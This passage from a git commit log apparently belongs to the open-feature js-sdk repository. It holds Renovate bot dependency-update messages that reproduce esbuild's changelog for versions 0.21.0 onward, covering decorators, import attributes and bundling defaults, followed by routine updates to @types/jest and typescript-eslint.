information.

- Omit packages from bundles by default when targeting node
([#&#8203;1874](https://redirect.github.com/evanw/esbuild/issues/1874),
[#&#8203;2830](https://redirect.github.com/evanw/esbuild/issues/2830),
[#&#8203;2846](https://redirect.github.com/evanw/esbuild/issues/2846),
[#&#8203;2915](https://redirect.github.com/evanw/esbuild/issues/2915),
[#&#8203;3145](https://redirect.github.com/evanw/esbuild/issues/3145),
[#&#8203;3294](https://redirect.github.com/evanw/esbuild/issues/3294),
[#&#8203;3323](https://redirect.github.com/evanw/esbuild/issues/3323),
[#&#8203;3582](https://redirect.github.com/evanw/esbuild/issues/3582),
[#&#8203;3809](https://redirect.github.com/evanw/esbuild/issues/3809),
[#&#8203;3815](https://redirect.github.com/evanw/esbuild/issues/3815))

This breaking change is an experiment. People are commonly confused when
using esbuild to bundle code for node (i.e. for `--platform=node`)
because some packages may not be intended for bundlers, and may use
node-specific features that don't work with a bundler. Even though
esbuild's "getting started" instructions say to use
`--packages=external` to work around this problem, many people don't
read the documentation and don't do this, and are then confused when it
doesn't work. So arguably this is a bad default behavior for esbuild to
have if people keep tripping over this.

With this release, esbuild will now omit packages from the bundle by
default when the platform is `node` (i.e. the previous behavior of
`--packages=external` is now the default in this case). *Note that your
dependencies must now be present on the file system when your bundle is
run.* If you don't want this behavior, you can do `--packages=bundle` to
allow packages to be included in the bundle (i.e. the previous default
behavior). Note that `--packages=bundle` doesn't mean all packages are
bundled, just that packages are allowed to be bundled. You can still
exclude individual packages from the bundle using `--external:` even
when `--packages=bundle` is present.

The `--packages=` setting considers all import paths that "look like"
package imports in the original source code to be package imports.
Specifically import paths that don't start with a path segment of `/` or
`.` or `..` are considered to be package imports. The only two
exceptions to this rule are [subpath
imports](https://nodejs.org/api/packages.html#subpath-imports) (which
start with a `#` character) and TypeScript path remappings via `paths`
and/or `baseUrl` in `tsconfig.json` (which are applied first).

- Drop support for older platforms
([#&#8203;3802](https://redirect.github.com/evanw/esbuild/issues/3802))

    This release drops support for the following operating systems:

    -   Windows 7
    -   Windows 8
    -   Windows Server 2008
    -   Windows Server 2012

This is because the Go programming language dropped support for these
operating system versions in [Go
1.21](https://go.dev/doc/go1.21#windows), and this release updates
esbuild from Go 1.20 to Go 1.22.

Note that this only affects the binary esbuild executables that are
published to the `esbuild` npm package. It's still possible to compile
esbuild's source code for these older operating systems. If you need to,
you can compile esbuild for yourself using an older version of the Go
compiler (before Go version 1.21). That might look something like this:

        git clone https://github.com/evanw/esbuild.git
        cd esbuild
        go build ./cmd/esbuild
        ./esbuild.exe --version

In addition, this release increases the minimum required node version
for esbuild's JavaScript API from node 12 to node 18. Node 18 is the
oldest version of node that is still being supported (see node's
[release schedule](https://nodejs.org/en/about/previous-releases) for
more information). This increase is because of an incompatibility
between the JavaScript that the Go compiler generates for the
`esbuild-wasm` package and versions of node before node 17.4
(specifically the `crypto.getRandomValues` function).

-   Update `await using` behavior to match TypeScript

TypeScript 5.5 subtly changes the way `await using` behaves. This
release updates esbuild to match these changes in TypeScript. You can
read more about these changes in
[microsoft/TypeScript#58624](https://redirect.github.com/microsoft/TypeScript/pull/58624).

-   Allow `es2024` as a target environment

The ECMAScript 2024 specification was just approved, so it has been
added to esbuild as a possible compilation target. You can read more
about the features that it adds here:
<https://2ality.com/2024/06/ecmascript-2024.html>. The only addition
that's relevant for esbuild is the regular expression `/v` flag. With
`--target=es2024`, regular expressions that use the `/v` flag will now
be passed through untransformed instead of being transformed into a call
to `new RegExp`.

- Publish binaries for OpenBSD on 64-bit ARM
([#&#8203;3665](https://redirect.github.com/evanw/esbuild/issues/3665),
[#&#8203;3674](https://redirect.github.com/evanw/esbuild/pull/3674))

With this release, you should now be able to install the `esbuild` npm
package in OpenBSD on 64-bit ARM, such as on an Apple device with an M1
chip.

This was contributed by
[@&#8203;ikmckenz](https://redirect.github.com/ikmckenz).

- Publish binaries for WASI (WebAssembly System Interface) preview 1
([#&#8203;3300](https://redirect.github.com/evanw/esbuild/issues/3300),
[#&#8203;3779](https://redirect.github.com/evanw/esbuild/pull/3779))

The upcoming WASI (WebAssembly System Interface) standard is going to be
a way to run WebAssembly outside of a JavaScript host environment. In
this scenario you only need a `.wasm` file without any supporting
JavaScript code. Instead of JavaScript providing the APIs for the host
environment, the WASI standard specifies a "system interface" that
WebAssembly code can access directly (e.g. for file system access).

Development versions of the WASI specification are being released using
preview numbers. The people behind WASI are currently working on preview
2 but the Go compiler has [released support for preview
1](https://go.dev/blog/wasi), which from what I understand is now
considered an unsupported legacy release. However, some people have
requested that esbuild publish binary executables that support WASI
preview 1 so they can experiment with them.

This release publishes esbuild precompiled for WASI preview 1 to the
`@esbuild/wasi-preview1` package on npm (specifically the file
`@esbuild/wasi-preview1/esbuild.wasm`). This binary executable has not
been tested and won't be officially supported, as it's for an old
preview release of a specification that has since moved in another
direction. If it works for you, great! If not, then you'll likely have
to wait for the ecosystem to evolve before using esbuild with WASI. For
example, it sounds like perhaps WASI preview 1 doesn't include support
for opening network sockets so esbuild's local development server is
unlikely to work with WASI preview 1.

- Warn about `onResolve` plugins not setting a path
([#&#8203;3790](https://redirect.github.com/evanw/esbuild/issues/3790))

Plugins that return values from `onResolve` without resolving the path
(i.e. without setting either `path` or `external: true`) will now cause
a warning. This is because esbuild only uses return values from
`onResolve` if it successfully resolves the path, and it's not good for
invalid input to be silently ignored.

- Add a new Go API for running the CLI with plugins
([#&#8203;3539](https://redirect.github.com/evanw/esbuild/pull/3539))

With esbuild's Go API, you can now call `cli.RunWithPlugins(args,
plugins)` to pass an array of esbuild plugins to be used during the
build process. This allows you to create a CLI that behaves similarly to
esbuild's CLI but with additional Go plugins enabled.

This was contributed by
[@&#8203;edewit](https://redirect.github.com/edewit).

###
[`v0.21.5`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0215)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.4...v0.21.5)

- Fix `Symbol.metadata` on classes without a class decorator
([#&#8203;3781](https://redirect.github.com/evanw/esbuild/issues/3781))

This release fixes a bug with esbuild's support for the [decorator
metadata
proposal](https://redirect.github.com/tc39/proposal-decorator-metadata).
Previously esbuild only added the `Symbol.metadata` property to
decorated classes if there was a decorator on the class element itself.
However, the proposal says that the `Symbol.metadata` property should be
present on all classes that have any decorators at all, not just those
with a decorator on the class element itself.

- Allow unknown import attributes to be used with the `copy` loader
([#&#8203;3792](https://redirect.github.com/evanw/esbuild/issues/3792))

Import attributes (the `with` keyword on `import` statements) are
allowed to alter how that path is loaded. For example, esbuild cannot
assume that it knows how to load `./bagel.js` as type `bagel`:

    ```js
// This is an error with "--bundle" without also using
"--external:./bagel.js"
    import tasty from "./bagel.js" with { type: "bagel" }
    ```

Because of that, bundling this code with esbuild is an error unless the
file `./bagel.js` is external to the bundle (such as with `--bundle
--external:./bagel.js`).

However, there is an additional case where it's ok for esbuild to allow
this: if the file is loaded using the `copy` loader. That's because the
`copy` loader behaves similarly to `--external` in that the file is left
external to the bundle. The difference is that the `copy` loader copies
the file into the output folder and rewrites the import path while
`--external` doesn't. That means the following will now work with the
`copy` loader (such as with `--bundle --loader:.bagel=copy`):

    ```js
// This is no longer an error with "--bundle" and "--loader:.bagel=copy"
    import tasty from "./tasty.bagel" with { type: "bagel" }
    ```

- Support import attributes with glob-style imports
([#&#8203;3797](https://redirect.github.com/evanw/esbuild/issues/3797))

This release adds support for import attributes (the `with` option) to
glob-style imports (dynamic imports with certain string literal patterns
as paths). These imports previously didn't support import attributes due
to an oversight. So code like this will now work correctly:

    ```ts
    async function loadLocale(locale: string): Locale {
const data = await import(`./locales/${locale}.data`, { with: { type:
'json' } })
      return unpackLocale(locale, data)
    }
    ```

Previously this didn't work even though esbuild normally supports
forcing the JSON loader using an import attribute. Attempting to do this
used to result in the following error:

✘ [ERROR] No loader is configured for ".data" files: locales/en-US.data

            example.ts:2:28:
2 │ const data = await import(`./locales/${locale}.data`, { with: {
type: 'json' } })
                ╵                             ~~~~~~~~~~~~~~~~~~~~~~~~~~

In addition, this change means plugins can now access the contents of
`with` for glob-style imports.

- Support `${configDir}` in `tsconfig.json` files
([#&#8203;3782](https://redirect.github.com/evanw/esbuild/issues/3782))

This adds support for a new feature from the upcoming TypeScript 5.5
release. The character sequence `${configDir}` is now respected at the
start of `baseUrl` and `paths` values, which are used by esbuild during
bundling to correctly map import paths to file system paths. This
feature lets base `tsconfig.json` files specified via `extends` refer to
the directory of the top-level `tsconfig.json` file. Here is an example:

    ```json
    {
      "compilerOptions": {
        "paths": {
          "js/*": ["${configDir}/dist/js/*"]
        }
      }
    }
    ```

You can read more in [TypeScript's blog post about their upcoming 5.5
release](https://devblogs.microsoft.com/typescript/announcing-typescript-5-5-rc/#the-configdir-template-variable-for-configuration-files).
Note that this feature does not make use of template literals (you need
to use `"${configDir}/dist/js/*"` not `` `${configDir}/dist/js/*` ``).
The syntax for `tsconfig.json` is still just JSON with comments, and
JSON syntax does not allow template literals. This feature only
recognizes `${configDir}` in strings for certain path-like properties,
and only at the beginning of the string.

- Fix internal error with `--supported:object-accessors=false`
([#&#8203;3794](https://redirect.github.com/evanw/esbuild/issues/3794))

This release fixes a regression in 0.21.0 where some code that was added
to esbuild's internal runtime library of helper functions for JavaScript
decorators fails to parse when you configure esbuild with
`--supported:object-accessors=false`. The reason is that esbuild
introduced code that does `{ get [name]() {} }` which uses both the
`object-extensions` feature for the `[name]` and the `object-accessors`
feature for the `get`, but esbuild was incorrectly only checking for
`object-extensions` and not for `object-accessors`. Additional tests
have been added to avoid this type of issue in the future. A workaround
for this issue in earlier releases is to also add
`--supported:object-extensions=false`.

###
[`v0.21.4`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0214)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.3...v0.21.4)

- Update support for import assertions and import attributes in node
([#&#8203;3778](https://redirect.github.com/evanw/esbuild/issues/3778))

Import assertions (the `assert` keyword) have been removed from node
starting in v22.0.0. So esbuild will now strip them and generate a
warning with `--target=node22` or above:

▲ [WARNING] The "assert" keyword is not supported in the configured
target environment ("node22") [assert-to-with]

            example.mjs:1:40:
1 │ import json from "esbuild/package.json" assert { type: "json" }
                │                                         ~~~~~~
                ╵                                         with

          Did you mean to use "with" instead of "assert"?

Import attributes (the `with` keyword) have been backported to node 18
starting in v18.20.0. So esbuild will no longer strip them with
`--target=node18.N` if `N` is 20 or greater.

-   Fix `for await` transform when a label is present

This release fixes a bug where the `for await` transform, which wraps
the loop in a `try` statement, previously failed to also move the loop's
label into the `try` statement. This bug only affects code that uses
both of these features in combination. Here's an example of some
affected code:

    ```js
    // Original code
    async function test() {
      outer: for await (const x of [Promise.resolve([0, 1])]) {
        for (const y of x) if (y) break outer
        throw 'fail'
      }
    }

    // Old output (with --target=es6)
    function test() {
      return __async(this, null, function* () {
        outer: try {
for (var iter = __forAwait([Promise.resolve([0, 1])]), more, temp,
error; more = !(temp = yield iter.next()).done; more = false) {
            const x = temp.value;
            for (const y of x) if (y) break outer;
            throw "fail";
          }
        } catch (temp) {
          error = [temp];
        } finally {
          try {
            more && (temp = iter.return) && (yield temp.call(iter));
          } finally {
            if (error)
              throw error[0];
          }
        }
      });
    }

    // New output (with --target=es6)
    function test() {
      return __async(this, null, function* () {
        try {
outer: for (var iter = __forAwait([Promise.resolve([0, 1])]), more,
temp, error; more = !(temp = yield iter.next()).done; more = false) {
            const x = temp.value;
            for (const y of x) if (y) break outer;
            throw "fail";
          }
        } catch (temp) {
          error = [temp];
        } finally {
          try {
            more && (temp = iter.return) && (yield temp.call(iter));
          } finally {
            if (error)
              throw error[0];
          }
        }
      });
    }
    ```

- Do additional constant folding after cross-module enum inlining
([#&#8203;3416](https://redirect.github.com/evanw/esbuild/issues/3416),
[#&#8203;3425](https://redirect.github.com/evanw/esbuild/issues/3425))

This release adds a few more cases where esbuild does constant folding
after cross-module enum inlining.

    ```ts
    // Original code: enum.ts
    export enum Platform {
      WINDOWS = 'windows',
      MACOS = 'macos',
      LINUX = 'linux',
    }

    // Original code: main.ts
    import { Platform } from './enum';
    declare const PLATFORM: string;
    export function logPlatform() {
      if (PLATFORM == Platform.WINDOWS) console.log('Windows');
      else if (PLATFORM == Platform.MACOS) console.log('macOS');
      else if (PLATFORM == Platform.LINUX) console.log('Linux');
      else console.log('Other');
    }

// Old output (with --bundle '--define:PLATFORM="macos"' --minify
--format=esm)
function
n(){"windows"=="macos"?console.log("Windows"):"macos"=="macos"?console.log("macOS"):"linux"=="macos"?console.log("Linux"):console.log("Other")}export{n
as logPlatform};

// New output (with --bundle '--define:PLATFORM="macos"' --minify
--format=esm)
    function n(){console.log("macOS")}export{n as logPlatform};
    ```

- Pass import attributes to on-resolve plugins
([#&#8203;3384](https://redirect.github.com/evanw/esbuild/issues/3384),
[#&#8203;3639](https://redirect.github.com/evanw/esbuild/issues/3639),
[#&#8203;3646](https://redirect.github.com/evanw/esbuild/issues/3646))

With this release, on-resolve plugins will now have access to the import
attributes on the import via the `with` property of the arguments
object. This mirrors the `with` property of the arguments object that's
already passed to on-load plugins. In addition, you can now pass `with`
to the `resolve()` API call which will then forward that value on to all
relevant plugins. Here's an example of a plugin that can now be written:

    ```js
    const examplePlugin = {
      name: 'Example plugin',
      setup(build) {
        build.onResolve({ filter: /.*/ }, args => {
          if (args.with.type === 'external')
            return { external: true }
        })
      }
    }

    require('esbuild').build({
      stdin: {
        contents: `
          import foo from "./foo" with { type: "external" }
          foo()
        `,
      },
      bundle: true,
      format: 'esm',
      write: false,
      plugins: [examplePlugin],
    }).then(result => {
      console.log(result.outputFiles[0].text)
    })
    ```

- Formatting support for the `@position-try` rule
([#&#8203;3773](https://redirect.github.com/evanw/esbuild/issues/3773))

Chrome shipped this new CSS at-rule in version 125 as part of the [CSS
anchor positioning
API](https://developer.chrome.com/blog/anchor-positioning-api). With
this release, esbuild now knows to expect a declaration list inside of
the `@position-try` body block and will format it appropriately.

- Always allow internal string import and export aliases
([#&#8203;3343](https://redirect.github.com/evanw/esbuild/issues/3343))

Import and export names can be string literals in ES2022+. Previously
esbuild forbid any usage of these aliases when the target was below
ES2022. Starting with this release, esbuild will only forbid such usage
when the alias would otherwise end up in output as a string literal.
String literal aliases that are only used internally in the bundle and
are "compiled away" are no longer errors. This makes it possible to use
string literal aliases with esbuild's `inject` feature even when the
target is earlier than ES2022.

###
[`v0.21.3`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0213)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.2...v0.21.3)

- Implement the decorator metadata proposal
([#&#8203;3760](https://redirect.github.com/evanw/esbuild/issues/3760))

This release implements the [decorator metadata
proposal](https://redirect.github.com/tc39/proposal-decorator-metadata),
which is a sub-proposal of the [decorators
proposal](https://redirect.github.com/tc39/proposal-decorators).
Microsoft shipped the decorators proposal in [TypeScript
5.0](https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/#decorators)
and the decorator metadata proposal in [TypeScript
5.2](https://devblogs.microsoft.com/typescript/announcing-typescript-5-2/#decorator-metadata),
so it's important that esbuild also supports both of these features.
Here's a quick example:

    ```js
    // Shim the "Symbol.metadata" symbol
    Symbol.metadata ??= Symbol('Symbol.metadata')

    const track = (_, context) => {
      (context.metadata.names ||= []).push(context.name)
    }

    class Foo {
      @&#8203;track foo = 1
      @&#8203;track bar = 2
    }

    // Prints ["foo", "bar"]
    console.log(Foo[Symbol.metadata].names)
    ```

    **⚠️ WARNING ⚠️**

This proposal has been marked as "stage 3" which means "recommended for
implementation". However, it's still a work in progress and isn't a part
of JavaScript yet, so keep in mind that any code that uses JavaScript
decorator metadata may need to be updated as the feature continues to
evolve. If/when that happens, I will update esbuild's implementation to
match the specification. I will not be supporting old versions of the
specification.

- Fix bundled decorators in derived classes
([#&#8203;3768](https://redirect.github.com/evanw/esbuild/issues/3768))

In certain cases, bundling code that uses decorators in a derived class
with a class body that references its own class name could previously
generate code that crashes at run-time due to an incorrect variable
name. This problem has been fixed. Here is an example of code that was
compiled incorrectly before this fix:

    ```js
    class Foo extends Object {
      @&#8203;(x => x) foo() {
        return Foo
      }
    }
    console.log(new Foo().foo())
    ```

- Fix `tsconfig.json` files inside symlinked directories
([#&#8203;3767](https://redirect.github.com/evanw/esbuild/issues/3767))

This release fixes an issue with a scenario involving a `tsconfig.json`
file that `extends` another file from within a symlinked directory that
uses the `paths` feature. In that case, the implicit `baseURL` value
should be based on the real path (i.e. after expanding all symbolic
links) instead of the original path. This was already done for other
files that esbuild resolves but was not yet done for `tsconfig.json`
because it's special-cased (the regular path resolver can't be used
because the information inside `tsconfig.json` is involved in path
resolution). Note that this fix no longer applies if the
`--preserve-symlinks` setting is enabled.

###
[`v0.21.2`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0212)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.1...v0.21.2)

- Correct `this` in field and accessor decorators
([#&#8203;3761](https://redirect.github.com/evanw/esbuild/issues/3761))

This release changes the value of `this` in initializers for class field
and accessor decorators from the module-level `this` value to the
appropriate `this` value for the decorated element (either the class or
the instance). It was previously incorrect due to lack of test coverage.
Here's an example of a decorator that doesn't work without this change:

    ```js
    const dec = () => function() { this.bar = true }
    class Foo { @&#8203;dec static foo }
    console.log(Foo.bar) // Should be "true"
    ```

- Allow `es2023` as a target environment
([#&#8203;3762](https://redirect.github.com/evanw/esbuild/issues/3762))

TypeScript recently [added
`es2023`](https://redirect.github.com/microsoft/TypeScript/pull/58140)
as a compilation target, so esbuild now supports this too. There is no
difference between a target of `es2022` and `es2023` as far as esbuild
is concerned since the 2023 edition of JavaScript doesn't introduce any
new syntax features.

###
[`v0.21.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0211)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.0...v0.21.1)

- Fix a regression with `--keep-names`
([#&#8203;3756](https://redirect.github.com/evanw/esbuild/issues/3756))

The previous release introduced a regression with the `--keep-names`
setting and object literals with `get`/`set` accessor methods, in which
case the generated code contained syntax errors. This release fixes the
regression:

    ```js
    // Original code
    x = { get y() {} }

    // Output from version 0.21.0 (with --keep-names)
    x = { get y: /* @&#8203;__PURE__ */ __name(function() {
    }, "y") };

    // Output from this version (with --keep-names)
    x = { get y() {
    } };
    ```

###
[`v0.21.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0210)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.20.2...v0.21.0)

This release doesn't contain any deliberately-breaking changes. However,
it contains a very complex new feature and while all of esbuild's tests
pass, I would not be surprised if an important edge case turns out to be
broken. So I'm releasing this as a breaking change release to avoid
causing any trouble. As usual, make sure to test your code when you
upgrade.

- Implement the JavaScript decorators proposal
([#&#8203;104](https://redirect.github.com/evanw/esbuild/issues/104))

With this release, esbuild now contains an implementation of the
upcoming [JavaScript decorators
proposal](https://redirect.github.com/tc39/proposal-decorators). This is
the same feature that shipped in [TypeScript
5.0](https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/#decorators)
and has been highly-requested on esbuild's issue tracker. You can read
more about them in that blog post and in this other (now slightly
outdated) extensive blog post here:
https://2ality.com/2022/10/javascript-decorators.html. Here's a quick
example:

    ```js
    const log = (fn, context) => function() {
      console.log(`before ${context.name}`)
      const it = fn.apply(this, arguments)
      console.log(`after ${context.name}`)
      return it
    }

    class Foo {
      @&#8203;log static foo() {
        console.log('in foo')
      }
    }

    // Logs "before foo", "in foo", "after foo"
    Foo.foo()
    ```

Note that this feature is different than the existing "TypeScript
experimental decorators" feature that esbuild already implements. It
uses similar syntax but behaves very differently, and the two are not
compatible (although it's sometimes possible to write decorators that
work with both). TypeScript experimental decorators will still be
supported by esbuild going forward as they have been around for a long
time, are very widely used, and let you do certain things that are not
possible with JavaScript decorators (such as decorating function
parameters). By default esbuild will parse and transform JavaScript
decorators, but you can tell esbuild to parse and transform TypeScript
experimental decorators instead by setting `"experimentalDecorators":
true` in your `tsconfig.json` file.

Probably at least half of the work for this feature went into creating a
test suite that exercises many of the proposal's edge cases:
https://github.com/evanw/decorator-tests. It has given me a reasonable
level of confidence that esbuild's initial implementation is acceptable.
However, I don't have access to a significant sample of real code that
uses JavaScript decorators. If you're currently using JavaScript
decorators in a real code base, please try out esbuild's implementation
and let me know if anything seems off.

    **⚠️ WARNING ⚠️**

This proposal has been in the works for a very long time (work began
around 10 years ago in 2014) and it is finally getting close to becoming
part of the JavaScript language. However, it's still a work in progress
and isn't a part of JavaScript yet, so keep in mind that any code that
uses JavaScript decorators may need to be updated as the feature
continues to evolve. The decorators proposal is pretty close to its
final form but it can and likely will undergo some small behavioral
adjustments before it ends up becoming a part of the standard. If/when
that happens, I will update esbuild's implementation to match the
specification. I will not be supporting old versions of the
specification.

-   Optimize the generated code for private methods

Previously when lowering private methods for old browsers, esbuild would
generate one `WeakSet` for each private method. This mirrors similar
logic for generating one `WeakSet` for each private field. Using a
separate `WeakMap` for private fields is necessary as their assignment
can be observable:

    ```js
    let it
    class Bar {
      constructor() {
        it = this
      }
    }
    class Foo extends Bar {
      #x = 1
      #y = null.foo
      static check() {
        console.log(#x in it, #y in it)
      }
    }
    try { new Foo } catch {}
    Foo.check()
    ```

This prints `true false` because this partially-initialized instance has
`#x` but not `#y`. In other words, it's not true that all class
instances will always have all of their private fields. However, the
assignment of private methods to a class instance is not observable. In
other words, it's true that all class instances will always have all of
their private methods. This means esbuild can lower private methods into
code where all methods share a single `WeakSet`, which is smaller,
faster, and uses less memory. Other JavaScript processing tools such as
the TypeScript compiler already make this optimization. Here's what this
change looks like:

    ```js
    // Original code
    class Foo {
      #x() { return this.#x() }
      #y() { return this.#y() }
      #z() { return this.#z() }
    }

    // Old output (--supported:class-private-method=false)
    var _x, x_fn, _y, y_fn, _z, z_fn;
    class Foo {
      constructor() {
        __privateAdd(this, _x);
        __privateAdd(this, _y);
        __privateAdd(this, _z);
      }
    }
    _x = new WeakSet();
    x_fn = function() {
      return __privateMethod(this, _x, x_fn).call(this);
    };
    _y = new WeakSet();
    y_fn = function() {
      return __privateMethod(this, _y, y_fn).call(this);
    };
    _z = new WeakSet();
    z_fn = function() {
      return __privateMethod(this, _z, z_fn).call(this);
    };

    // New output (--supported:class-private-method=false)
    var _Foo_instances, x_fn, y_fn, z_fn;
    class Foo {
      constructor() {
        __privateAdd(this, _Foo_instances);
      }
    }
    _Foo_instances = new WeakSet();
    x_fn = function() {
      return __privateMethod(this, _Foo_instances, x_fn).call(this);
    };
    y_fn = function() {
      return __privateMethod(this, _Foo_instances, y_fn).call(this);
    };
    z_fn = function() {
      return __privateMethod(this, _Foo_instances, z_fn).call(this);
    };
    ```

- Fix an obscure bug with lowering class members with computed property
keys

When class members that use newer syntax features are transformed for
older target environments, they sometimes need to be relocated. However,
care must be taken to not reorder any side effects caused by computed
property keys. For example, the following code must evaluate `a()` then
`b()` then `c()`:

    ```js
    class Foo {
      [a()]() {}
      [b()];
      static { c() }
    }
    ```

Previously esbuild did this by shifting the computed property key
*forward* to the next spot in the evaluation order. Classes evaluate all
computed keys first and then all static class elements, so if the last
computed key needs to be shifted, esbuild previously inserted a static
block at start of the class body, ensuring it came before all other
static class elements:

    ```js
    var _a;
    class Foo {
      constructor() {
        __publicField(this, _a);
      }
      static {
        _a = b();
      }
      [a()]() {
      }
      static {
        c();
      }
    }
    ```

However, this could cause esbuild to accidentally generate a syntax
error if the computed property key contains code that isn't allowed in a
static block, such as an `await` expression. With this release, esbuild
fixes this problem by shifting the computed property key *backward* to
the previous spot in the evaluation order instead, which may push it
into the `extends` clause or even before the class itself:

    ```js
    // Original code
    class Foo {
      [a()]() {}
      [await b()];
      static { c() }
    }

    // Old output (with --supported:class-field=false)
    var _a;
    class Foo {
      constructor() {
        __publicField(this, _a);
      }
      static {
        _a = await b();
      }
      [a()]() {
      }
      static {
        c();
      }
    }

    // New output (with --supported:class-field=false)
    var _a, _b;
    class Foo {
      constructor() {
        __publicField(this, _a);
      }
      [(_b = a(), _a = await b(), _b)]() {
      }
      static {
        c();
      }
    }
    ```

-   Fix some `--keep-names` edge cases

The [`NamedEvaluation` syntax-directed
operation](https://tc39.es/ecma262/#sec-runtime-semantics-namedevaluation)
in the JavaScript specification gives certain anonymous expressions a
`name` property depending on where they are in the syntax tree. For
example, the following initializers convey a `name` value:

    ```js
    var foo = function() {}
    var bar = class {}
    console.log(foo.name, bar.name)
    ```

When you enable esbuild's `--keep-names` setting, esbuild generates
additional code to represent this `NamedEvaluation` operation so that
the value of the `name` property persists even when the identifiers are
renamed (e.g. due to minification).

However, I recently learned that esbuild's implementation of
`NamedEvaluation` is missing a few cases. Specifically esbuild was
missing property definitions, class initializers, logical-assignment
operators. These cases should now all be handled:

    ```js
    var obj = { foo: function() {} }
    class Foo0 { foo = function() {} }
    class Foo1 { static foo = function() {} }
    class Foo2 { accessor foo = function() {} }
    class Foo3 { static accessor foo = function() {} }
    foo ||= function() {}
    foo &&= function() {}
    foo ??= function() {}
    ```

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 13:58:12 -04:00
renovate[bot] 4c22ff721a
chore(deps): update dependency @types/jest to v29.5.13 (#1043)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/jest))
| [`29.5.12` ->
`29.5.13`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.12/29.5.13)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.12/29.5.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.12/29.5.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 17:22:22 +00:00
renovate[bot] ece9f69222
chore(deps): update typescript-eslint monorepo to v7.18.0 (#1005)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`7.11.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`7.11.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/7.11.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
